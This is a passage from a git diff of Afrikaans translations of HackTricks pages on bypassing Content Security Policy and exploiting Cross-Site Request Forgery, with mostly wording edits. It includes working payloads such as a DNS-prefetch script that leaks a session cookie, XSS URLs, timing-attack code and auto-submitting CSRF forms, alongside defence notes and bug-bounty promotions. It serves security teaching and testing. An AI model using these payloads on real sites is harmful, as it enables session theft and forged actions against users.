As CSP op `https://www.google.com/a/b/c/d` gestel is, sal beide `/test` en `/a/test` skripte deur CSP geblokkeer word.
|
||||
|
||||
Echter, die finale `http://localhost:5555/301` sal **op die bediener-kant herlei word na `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Aangesien dit 'n herleiding is, word die **pad nie oorweeg nie**, en die **skrip kan gelaai word**, wat die padbeperking omseil.
|
||||
|
||||
|
@ -454,7 +454,7 @@ Met hierdie herleiding, selfs al is die pad heeltemal gespesifiseer, sal dit ste
|
|||
|
||||
Daarom is die beste oplossing om te verseker dat die webwerf geen oop herleiding kwesbaarhede het nie en dat daar geen domeine is wat in die CSP-reëls uitgebuit kan word nie.
|
||||
|
||||
### Omseil CSP met hangende merkup
|
||||
### Bypass CSP met hangende opmaak
|
||||
|
||||
Lees [hoe hier](../dangling-markup-html-scriptless-injection/).
|
||||
|
||||
|
@ -470,7 +470,7 @@ Jy kan hierdie CSP omseil deur die data via beelde te exfiltreer (in hierdie gev
|
|||
```
|
||||
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
Jy kan ook hierdie konfigurasie misbruik om **javascript kode in 'n beeld in te laai**. As die bladsy byvoorbeeld die laai van beelde van Twitter toelaat. Jy kan **'n spesiale beeld** **skep**, dit na Twitter **oplaai** en die "**unsafe-inline**" misbruik om **'n JS kode** (soos 'n gewone XSS) uit te voer wat die **beeld** sal **laai**, die **JS** daaruit sal **onttrek** en **dit** sal **uitvoer**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
Jy kan ook hierdie konfigurasie misbruik om **javascript kode in 'n beeld in te laai**. As die bladsy byvoorbeeld die laai van beelde van Twitter toelaat. Jy kan **'n spesiale beeld skep**, dit **oplaai** na Twitter en die "**unsafe-inline**" misbruik om **'n JS kode** (soos 'n gewone XSS) uit te voer wat die **beeld** sal **laai**, die **JS** daaruit sal **onttrek** en **dit** sal **uitvoer**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### Met Dienswerkers
|
||||
|
||||
|
@ -486,7 +486,7 @@ Dienswerkers **`importScripts`** funksie is nie beperk deur CSP nie:
|
|||
|
||||
#### Chrome
|
||||
|
||||
As 'n **parameter** wat deur jou gestuur word **binne** die **verklaring** van die **beleid** **geplak** word, kan jy die **beleid** op 'n manier **verander** wat dit **onbruikbaar** maak. Jy kan **script 'unsafe-inline'** met enige van hierdie omseilings **toelaat**:
|
||||
As 'n **parameter** wat deur jou gestuur word **binne** die **verklaring** van die **beleid** geplak word, kan jy die **beleid** op 'n manier **verander** wat dit **onbruikbaar** maak. Jy kan **script 'unsafe-inline' toelaat** met enige van hierdie omseilings:
|
||||
```bash
|
||||
script-src-elem *; script-src-attr *
|
||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
|
@ -496,13 +496,13 @@ Jy kan 'n voorbeeld hier vind: [http://portswigger-labs.net/edge\_csp\_injection
|
|||
|
||||
#### Edge
|
||||
|
||||
In Edge is dit baie eenvoudiger. As jy net hierdie in die CSP kan byvoeg: **`;_`** **Edge** sal die hele **beleid** **verwerp**.\
|
||||
In Edge is dit baie eenvoudiger. As jy net hierdie in die CSP kan voeg: **`;_`** **Edge** sal die hele **beleid** **verwerp**.\
|
||||
Voorbeeld: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)
|
||||
|
||||
### img-src \*; via XSS (iframe) - Tydaanval
|
||||
|
||||
Let op die gebrek aan die riglyn `'unsafe-inline'`\
|
||||
Hierdie keer kan jy die slagoffer **dwing** om 'n bladsy in **jou beheer** te laai via **XSS** met 'n `<iframe`. Hierdie keer gaan jy die slagoffer laat toegang hê tot die bladsy waarvandaan jy inligting wil onttrek (**CSRF**). Jy kan nie die inhoud van die bladsy toegang nie, maar as jy op een of ander manier die **tyd wat die bladsy nodig het om te laai** kan **beheer**, kan jy die inligting wat jy nodig het onttrek.
|
||||
Hierdie keer kan jy die slagoffer **dwing** om 'n bladsy in **jou beheer** te laai via **XSS** met 'n `<iframe`. Hierdie keer gaan jy die slagoffer dwing om toegang te verkry tot die bladsy waarvandaan jy inligting wil onttrek (**CSRF**). Jy kan nie die inhoud van die bladsy toegang nie, maar as jy op een of ander manier die **tyd wat die bladsy nodig het om te laai** kan **beheer**, kan jy die inligting wat jy nodig het onttrek.
|
||||
|
||||
Hierdie keer gaan 'n **vlag** onttrek word, wanneer 'n **karakter korrek geraai** word via SQLi neem die **antwoord** **meer tyd** weens die slaapfunksie. Dan sal jy in staat wees om die vlag te onttrek:
|
||||
```html
|
||||
|
@ -566,13 +566,13 @@ run();
|
|||
```
|
||||
### Via Bookmarklets
|
||||
|
||||
Hierdie aanval sou 'n bietjie sosiale ingenieurswese impliseer waar die aanvaller **die gebruiker oortuig om 'n skakel oor die bladmerklet van die blaaier te sleep en te laat val**. Hierdie bladmerklet sou **kwaadwillige javascript** kode bevat wat, wanneer gesleep en laat val of geklik, in die konteks van die huidige webvenster uitgevoer sou word, **CSP omseil en toelaat om sensitiewe inligting** soos koekies of tokens te steel.
|
||||
Hierdie aanval sou 'n bietjie sosiale ingenieurswese impliseer waar die aanvaller **die gebruiker oortuig om 'n skakel oor die bladmerklet van die blaaier te sleep en te laat val**. Hierdie bladmerklet sou **kwaadwillige javascript** kode bevat wat, wanneer dit gesleep en laat val of geklik word, in die konteks van die huidige webvenster uitgevoer sou word, **CSP omseil en toelaat om sensitiewe inligting** soos koekies of tokens te steel.
|
||||
|
||||
Vir meer inligting [**kyk die oorspronklike verslag hier**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
### CSP omseiling deur CSP te beperk
|
||||
|
||||
In [**hierdie CTF-skrywe**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), word CSP omgegaan deur binne 'n toegelate iframe 'n meer beperkende CSP in te spuit wat die laai van 'n spesifieke JS-lêer verbied het wat, dan, via **prototype besoedeling** of **dom klobbering** toegelaat het om **'n ander skrip te misbruik om 'n arbitrêre skrip te laai**.
|
||||
In [**hierdie CTF-skrywe**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), word CSP omseil deur binne 'n toegelate iframe 'n meer beperkende CSP in te spuit wat die laai van 'n spesifieke JS-lêer verbied het wat, dan, via **prototype besoedeling** of **dom klobbering** toegelaat het om **'n ander skrip te misbruik om 'n arbitrêre skrip te laai**.
|
||||
|
||||
Jy kan **'n CSP van 'n Iframe beperk** met die **`csp`** attribuut:
|
||||
|
||||
|
@ -582,8 +582,8 @@ Jy kan **'n CSP van 'n Iframe beperk** met die **`csp`** attribuut:
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
In [**hierdie CTF skrywe**](https://github.com/aszx87410/ctf-writeups/issues/48), was dit moontlik om via **HTML inspuiting** 'n **CSP** meer te **beperk** sodat 'n skrip wat CSTI voorkom, gedeaktiveer is en daarom het die **kwesbaarheid uitvoerbaar geword.**\
|
||||
CSP kan meer beperkend gemaak word deur **HTML meta-tags** en inline skripte kan gedeaktiveer word **deur** die **invoer** wat hul **nonce** toelaat te **verwyder** en **spesifieke inline skrip via sha** in te skakel:
|
||||
In [**hierdie CTF skrywe**](https://github.com/aszx87410/ctf-writeups/issues/48), was dit moontlik via **HTML inspuiting** om 'n **CSP** meer te **beperk** sodat 'n skrip wat CSTI voorkom, gedeaktiveer is en daarom het die **kwesbaarheid eksploiteerbaar geword.**\
|
||||
CSP kan meer beperkend gemaak word deur **HTML meta-tags** en inline skripte kan gedeaktiveer word **deur** die **invoer** wat hul **nonce** toelaat en **spesifieke inline skrip via sha** te aktiveer:
|
||||
```html
|
||||
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
|
||||
'unsafe-eval' 'strict-dynamic'
|
||||
|
@ -592,7 +592,7 @@ CSP kan meer beperkend gemaak word deur **HTML meta-tags** en inline skripte kan
|
|||
```
|
||||
### JS eksfiltrasie met Content-Security-Policy-Report-Only
|
||||
|
||||
As jy daarin slaag om die bediener te laat antwoordgee met die koptekst **`Content-Security-Policy-Report-Only`** met 'n **waarde wat deur jou beheer word** (miskien as gevolg van 'n CRLF), kan jy dit laat wys na jou bediener en as jy die **JS-inhoud** wat jy wil eksfiltreer met **`<script>`** omhul en omdat dit hoogs waarskynlik `unsafe-inline` nie toegelaat word deur die CSP nie, sal dit 'n **CSP-fout** veroorsaak en 'n deel van die skrip (wat die sensitiewe inligting bevat) sal na die bediener gestuur word vanaf `Content-Security-Policy-Report-Only`.
|
||||
As jy daarin slaag om die bediener te laat reageer met die koptekst **`Content-Security-Policy-Report-Only`** met 'n **waarde wat deur jou beheer word** (miskien as gevolg van 'n CRLF), kan jy dit laat wys na jou bediener en as jy die **JS-inhoud** wat jy wil eksfiltreer, met **`<script>`** omhul en omdat dit hoogs waarskynlik `unsafe-inline` nie toegelaat word deur die CSP nie, sal dit **'n CSP-fout veroorsaak** en 'n deel van die skrip (wat die sensitiewe inligting bevat) sal na die bediener gestuur word vanaf `Content-Security-Policy-Report-Only`.
|
||||
|
||||
Vir 'n voorbeeld [**kyk na hierdie CTF-skrywe**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
|
@ -606,19 +606,19 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
|
|||
* Hierdie URL lei dan na 'n geheime URL (bv. `https://usersecret.example2.com`) wat **nie toegelaat** word deur CSP nie.
|
||||
* Deur na die `securitypolicyviolation` gebeurtenis te luister, kan 'n mens die `blockedURI` eienskap vang. Hierdie eienskap onthul die domein van die geblokkeerde URI, wat die geheime domein waarheen die aanvanklike URL gelei het, lek.
|
||||
|
||||
Dit is interessant om op te let dat blaaiers soos Chrome en Firefox verskillende gedrag het in die hantering van iframes met betrekking tot CSP, wat kan lei tot die moontlike lek van sensitiewe inligting as gevolg van onbepaalde gedrag.
|
||||
Dit is interessant om op te let dat blaaiers soos Chrome en Firefox verskillende gedrag het in die hantering van iframes met betrekking tot CSP, wat kan lei tot die moontlike lek van sensitiewe inligting weens onbepaalde gedrag.
|
||||
|
||||
'n Ander tegniek behels die benutting van die CSP self om die geheime subdomein af te lei. Hierdie metode maak staat op 'n binêre soekalgoritme en die aanpassing van die CSP om spesifieke domeine in te sluit wat doelbewus geblokkeer is. Byvoorbeeld, as die geheime subdomein uit onbekende karakters bestaan, kan jy iteratief verskillende subdomeine toets deur die CSP-riglyn aan te pas om hierdie subdomeine te blokkeer of toe te laat. Hier is 'n snit wat wys hoe die CSP opgestel kan word om hierdie metode te fasiliteer:
|
||||
Nog 'n tegniek behels die benutting van die CSP self om die geheime subdomein af te lei. Hierdie metode maak staat op 'n binêre soekalgoritme en die aanpassing van die CSP om spesifieke domeine in te sluit wat doelbewus geblokkeer is. Byvoorbeeld, as die geheime subdomein uit onbekende karakters bestaan, kan jy iteratief verskillende subdomeine toets deur die CSP-riglyn aan te pas om hierdie subdomeine te blokkeer of toe te laat. Hier is 'n snit wat wys hoe die CSP opgestel kan word om hierdie metode te fasiliteer:
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
Deur te monitor watter versoeke geblokkeer of toegelaat word deur die CSP, kan 'n mens die moontlike karakters in die geheime subdomein beperk, uiteindelik die volle URL onthul.
|
||||
Deur te monitor watter versoeke geblokkeer of toegelaat word deur die CSP, kan 'n mens die moontlike karakters in die geheime subdomein beperk, en uiteindelik die volle URL onthul.
|
||||
|
||||
Albei metodes benut die nuanses van CSP-implementering en gedrag in blaaiers, wat demonstreer hoe blykbaar veilige beleide onbedoeld sensitiewe inligting kan lek.
|
||||
|
||||
Trick from [**here**](https://ctftime.org/writeup/29310).
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
|
||||
|
||||
|
@ -633,13 +633,13 @@ Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike pla
|
|||
|
||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
|
||||
|
||||
## Onveilige Tegnologieë om CSP te omseil
|
||||
## Onveilige Tegnologieë om CSP te Bypass
|
||||
|
||||
### PHP Foute wanneer te veel params
|
||||
|
||||
Volgens die [**laaste tegniek kommentaar in hierdie video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), om te veel parameters te stuur (1001 GET parameters alhoewel jy dit ook met POST params en meer as 20 lêers kan doen). Enige gedefinieerde **`header()`** in die PHP webkode **sal nie gestuur word** weens die fout wat dit sal veroorsaak nie.
|
||||
|
||||
### PHP antwoordbuffer oorlaai
|
||||
### PHP antwoordbuffer oorlading
|
||||
|
||||
PHP is bekend vir **die buffering van die antwoord tot 4096** bytes per standaard. Daarom, as PHP 'n waarskuwing toon, deur **genoeg data binne waarskuwings** te verskaf, sal die **antwoord** **gestuur** word **voor** die **CSP header**, wat veroorsaak dat die header geïgnoreer word.\
|
||||
Dan bestaan die tegniek basies uit **die antwoordbuffer met waarskuwings te vul** sodat die CSP header nie gestuur word nie.
|
||||
|
@ -670,7 +670,7 @@ Vir meer inligting oor hoe om hierdie aanval uit te voer, kyk [https://octagon.n
|
|||
|
||||
## CSP Exfiltration Bypasses
|
||||
|
||||
As daar 'n streng CSP is wat jou nie toelaat om met **eksterne bedieners** te **interaksie** nie, is daar 'n paar dinge wat jy altyd kan doen om die inligting te ekstrapoleer.
|
||||
As daar 'n streng CSP is wat jou nie toelaat om met **eksterne bedieners** te **interaksie** nie, is daar 'n paar dinge wat jy altyd kan doen om die inligting te eksfiltreer.
|
||||
|
||||
### Location
|
||||
|
||||
|
@ -687,10 +687,10 @@ Jy kan herlei deur 'n meta-tag in te voeg (dit is net 'n herleiding, dit sal nie
|
|||
```
|
||||
### DNS Prefetch
|
||||
|
||||
Om bladsye vinniger te laai, gaan blaaiers hostnames vooraf oplos in IP adresse en dit vir later gebruik kas.\
|
||||
Jy kan 'n blaaier aanwys om 'n hostname vooraf op te los met: `<link rel="dns-prefetch" href="something.com">`
|
||||
Om bladsye vinniger te laai, gaan blaaiers hostnames vooraf oplos in IP-adresse en dit vir later gebruik kas.\
|
||||
Jy kan 'n blaier aanwys om 'n hostname vooraf op te los met: `<link rel="dns-prefetch" href="something.com">`
|
||||
|
||||
Jy kan hierdie gedrag misbruik om **sensitiewe inligting via DNS versoeke te exfiltreer**:
|
||||
Jy kan hierdie gedrag misbruik om **sensitiewe inligting via DNS-versoeke te exfiltreer**:
|
||||
```javascript
|
||||
var sessionid = document.cookie.split('=')[1]+".";
|
||||
var body = document.getElementsByTagName('body')[0];
|
||||
|
@ -752,12 +752,12 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
|||
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
|
||||
|
||||
**Hacking Inligting**\
|
||||
Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
Neem deel aan inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
|
||||
**Regte Tyd Hack Nuus**\
|
||||
Bly op hoogte van die vinnige hacking wêreld deur middel van regte tyd nuus en insigte
|
||||
|
@ -776,8 +776,8 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -6,7 +6,7 @@ Leer & oefen GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-siz
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -15,15 +15,15 @@ Leer & oefen GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-siz
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
|
||||
|
||||
**Hacking Insigte**\
|
||||
**Hacking Inligting**\
|
||||
Betrek jouself met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
|
||||
**Regte Tyd Hack Nuus**\
|
||||
Bly op hoogte van die vinnig bewegende hacking wêreld deur regte tyd nuus en insigte
|
||||
**Regstydse Hack Nuus**\
|
||||
Bly op hoogte van die vinnig bewegende hacking wêreld deur regstydse nuus en insigte
|
||||
|
||||
**Laaste Aankondigings**\
|
||||
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
|
||||
|
@ -32,14 +32,14 @@ Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike pla
|
|||
|
||||
## Cross-Site Request Forgery (CSRF) Verduidelik
|
||||
|
||||
**Cross-Site Request Forgery (CSRF)** is 'n tipe sekuriteitskwesbaarheid wat in webtoepassings voorkom. Dit stel aanvallers in staat om aksies namens onskuldige gebruikers uit te voer deur hul geverifieerde sessies te benut. Die aanval word uitgevoer wanneer 'n gebruiker, wat in 'n slagoffer se platform aangemeld is, 'n kwaadwillige webwerf besoek. Hierdie webwerf aktiveer dan versoeke na die slagoffer se rekening deur metodes soos die uitvoer van JavaScript, indiening van vorms, of die verkryging van beelde.
|
||||
**Cross-Site Request Forgery (CSRF)** is 'n tipe sekuriteitskwesbaarheid wat in webtoepassings gevind word. Dit stel aanvallers in staat om aksies namens onskuldige gebruikers uit te voer deur hul geverifieerde sessies te benut. Die aanval word uitgevoer wanneer 'n gebruiker, wat in 'n slagoffer se platform aangemeld is, 'n kwaadwillige webwerf besoek. Hierdie webwerf aktiveer dan versoeke na die slagoffer se rekening deur metodes soos die uitvoer van JavaScript, indien van vorms, of opvra van beelde.
|
||||
|
||||
### Voorvereistes vir 'n CSRF-aanval
|
||||
|
||||
Om 'n CSRF-kwesbaarheid te benut, moet verskeie voorwaardes nagekom word:
|
||||
|
||||
1. **Identifiseer 'n Waardevolle Aksie**: Die aanvaller moet 'n aksie vind wat die moeite werd is om te benut, soos om die gebruiker se wagwoord, e-pos of bevoegdhede te verander.
|
||||
2. **Sessie Bestuur**: Die gebruiker se sessie moet slegs deur koekies of die HTTP Basic Authentication koptekst bestuur word, aangesien ander koptekste nie vir hierdie doel gemanipuleer kan word nie.
|
||||
2. **Sessie Bestuur**: Die gebruiker se sessie moet uitsluitlik deur koekies of die HTTP Basic Authentication koptekst bestuur word, aangesien ander koptekste nie vir hierdie doel gemanipuleer kan word nie.
|
||||
3. **Afwesigheid van Onvoorspelbare Parameters**: Die versoek moet nie onvoorspelbare parameters bevat nie, aangesien dit die aanval kan voorkom.
|
||||
|
||||
### Vinige Kontrole
|
||||
|
@ -48,17 +48,17 @@ Jy kan **die versoek in Burp vasvang** en CSRF beskermings nagaan en om van die
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Verdediging Teen CSRF
|
||||
### Verdediging teen CSRF
|
||||
|
||||
Verskeie teenmaatreëls kan geïmplementeer word om teen CSRF-aanvalle te beskerm:
|
||||
|
||||
* [**SameSite koekies**](hacking-with-cookies/#samesite): Hierdie attribuut verhoed dat die blaaier koekies saam met kruis-web versoeke stuur. [Meer oor SameSite koekies](hacking-with-cookies/#samesite).
|
||||
* [**Cross-origin resource sharing**](cors-bypass.md): Die CORS-beleid van die slagoffer webwerf kan die haalbaarheid van die aanval beïnvloed, veral as die aanval vereis dat die antwoord van die slagoffer webwerf gelees word. [Leer oor CORS omseilings](cors-bypass.md).
|
||||
* **Gebruiker Verifikasie**: Om die gebruiker se wagwoord te vra of 'n captcha op te los kan die gebruiker se bedoeling bevestig.
|
||||
* **Kontroleer Referrer of Oorsprong Koptekste**: Die validering van hierdie koptekste kan help om te verseker dat versoeke van vertroude bronne kom. Dit is egter moontlik om swak geïmplementeerde kontroles te omseil deur sorgvuldig URL's te vervaardig, soos:
|
||||
* **Kontroleer Referrer of Oorsprong Koptekste**: Die validering van hierdie koptekste kan help om te verseker dat versoeke van vertroude bronne kom. Dit is egter moontlik om swak geïmplementeerde kontroles te omseil deur sorgvuldig URL's te skep, soos:
|
||||
* Gebruik `http://mal.net?orig=http://example.com` (URL eindig met die vertroude URL)
|
||||
* Gebruik `http://example.com.mal.net` (URL begin met die vertroude URL)
|
||||
* **Wysig Parameter Nomme**: Die name van parameters in POST of GET versoeke kan gealtereer word om geoutomatiseerde aanvalle te voorkom.
|
||||
* **Wysig Parametername**: Die name van parameters in POST of GET versoeke kan gealtereer word om geoutomatiseerde aanvalle te voorkom.
|
||||
* **CSRF Tokens**: Die insluiting van 'n unieke CSRF-token in elke sessie en die vereiste van hierdie token in daaropvolgende versoeke kan die risiko van CSRF aansienlik verminder. Die doeltreffendheid van die token kan verbeter word deur CORS af te dwing.
|
||||
|
||||
Die begrip en implementering van hierdie verdediging is van kardinale belang om die sekuriteit en integriteit van webtoepassings te handhaaf.
|
||||
|
@ -71,11 +71,11 @@ Miskien is die vorm wat jy wil misbruik voorberei om 'n **POST versoek met 'n CS
|
|||
|
||||
### Gebrek aan token
|
||||
|
||||
Toepassings mag 'n meganisme implementeer om **tokens te verifieer** wanneer hulle teenwoordig is. 'n Kwesbaarheid ontstaan egter as die verifikasie heeltemal oorgeslaan word wanneer die token afwesig is. Aanvallers kan dit benut deur die **parameter te verwyder** wat die token dra, nie net sy waarde nie. Dit stel hulle in staat om die verifikasieproses te omseil en 'n Cross-Site Request Forgery (CSRF) aanval effektief uit te voer.
|
||||
Toepassings mag 'n meganisme implementeer om **tokens te verifieer** wanneer hulle teenwoordig is. 'n Kwesbaarheid ontstaan egter as die verifikasie heeltemal oorgeslaan word wanneer die token afwesig is. Aanvallers kan dit benut deur die **parameter** wat die token dra, nie net sy waarde, te **verwyder**. Dit stel hulle in staat om die verifikasieproses te omseil en 'n Cross-Site Request Forgery (CSRF) aanval effektief uit te voer.
|
||||
|
||||
### CSRF-token is nie aan die gebruiker se sessie gekoppel nie
|
||||
|
||||
Toepassings **wat CSRF-tokens nie aan gebruiker sessies koppel nie** bied 'n beduidende **sekuriteitsrisiko**. Hierdie stelsels verifieer tokens teen 'n **globale poel** eerder as om te verseker dat elke token aan die inisiërende sessie gebind is.
|
||||
Toepassings wat **CSRF-tokens nie aan gebruiker sessies koppel nie** bied 'n beduidende **sekuriteitsrisiko**. Hierdie stelsels verifieer tokens teen 'n **globale poel** eerder as om te verseker dat elke token aan die inisiërende sessie gebind is.
|
||||
|
||||
Hier is hoe aanvallers dit benut:
|
||||
|
||||
|
@ -87,9 +87,9 @@ Hierdie kwesbaarheid stel aanvallers in staat om ongeoorloofde versoeke namens d
|
|||
|
||||
### Metode omseiling
|
||||
|
||||
As die versoek 'n "**vreemde**" **metode** gebruik, kontroleer of die **metode** **oorheersingsfunksionaliteit** werk. Byvoorbeeld, as dit **'n PUT** metode gebruik, kan jy probeer om **'n POST** metode te **gebruik** en **stuur**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
As die versoek 'n "**vreemde**" **metode** gebruik, kontroleer of die **metode** **oorheersingsfunksionaliteit** werk. Byvoorbeeld, as dit **'n PUT** metode gebruik kan jy probeer om 'n **POST** metode te **gebruik** en **stuur**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
|
||||
Dit kan ook werk deur die **\_method parameter binne 'n POST versoek** te stuur of deur die **koptekste** te gebruik:
|
||||
Dit kan ook werk om die **\_method parameter binne 'n POST versoek** te stuur of deur die **koptekste** te gebruik:
|
||||
|
||||
* _X-HTTP-Method_
|
||||
* _X-HTTP-Method-Override_
|
||||
|
@ -128,15 +128,15 @@ Hieronder is 'n voorbeeld van hoe 'n aanval gestruktureer kan word:
|
|||
Let daarop dat as die **csrf token verband hou met die sessie koekie, hierdie aanval nie sal werk nie** omdat jy die slagoffer jou sessie moet stel, en daarom sal jy jouself aanval.
|
||||
{% endhint %}
|
||||
|
||||
### Inhouds tipe verandering
|
||||
### Inhoud-Tipe verandering
|
||||
|
||||
Volgens [**hierdie**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), om **preflight** versoeke met die **POST** metode te **vermy**, is hierdie die toegelate Inhouds tipe waardes:
|
||||
Volgens [**hierdie**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), om **preflight** versoeke met die **POST** metode te **vermy**, is hierdie die toegelate Inhoud-Tipe waardes:
|
||||
|
||||
* **`application/x-www-form-urlencoded`**
|
||||
* **`multipart/form-data`**
|
||||
* **`text/plain`**
|
||||
|
||||
Let egter daarop dat die **bediener se logika kan verskil** afhangende van die **Inhouds tipe** wat gebruik word, so jy moet die genoemde waardes en ander soos **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ probeer.
|
||||
Let egter daarop dat die **bediener se logika kan verskil** afhangende van die **Inhoud-Tipe** wat gebruik word, so jy moet die genoemde waardes en ander soos **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ probeer.
|
||||
|
||||
Voorbeeld (van [hier](https://brycec.me/posts/corctf\_2021\_challenges)) van die stuur van JSON data as text/plain:
|
||||
```html
|
||||
|
@ -212,7 +212,7 @@ As 'n **CSRF token** as **verdediging** gebruik word, kan jy probeer om dit te *
|
|||
<h1>404 - Page not found</h1>
|
||||
The URL you are requesting is no longer available
|
||||
```
|
||||
Ander HTML5-tags wat gebruik kan word om 'n GET-versoek outomaties te stuur, is:
|
||||
Ander HTML5-tags wat gebruik kan word om outomaties 'n GET-versoek te stuur, is:
|
||||
```html
|
||||
<iframe src="..."></iframe>
|
||||
<script src="..."></script>
|
||||
|
@ -343,7 +343,7 @@ body += "--" + boundary + "--";
|
|||
//xhr.send(body);
|
||||
xhr.sendAsBinary(body);
|
||||
```
|
||||
### Form POST-versoek vanuit 'n iframe
|
||||
### Form POST versoek vanuit 'n iframe
|
||||
```html
|
||||
<--! expl.html -->
|
||||
|
||||
|
@ -584,15 +584,15 @@ login(USER, line.strip())
|
|||
|
||||
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
|
||||
|
||||
**Hacking Inligting**\
|
||||
Neem deel aan inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
|
||||
**Regte Tyd Hack Nuus**\
|
||||
Bly op hoogte van die vinnig bewegende hacking wêreld deur regte tyd nuus en insigte
|
||||
**Regstydse Hack Nuus**\
|
||||
Bly op hoogte van die vinnige hacking wêreld deur regstydse nuus en insigte
|
||||
|
||||
**Laaste Aankondigings**\
|
||||
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
|
||||
|
@ -605,10 +605,10 @@ Leer & oefen GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-siz
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
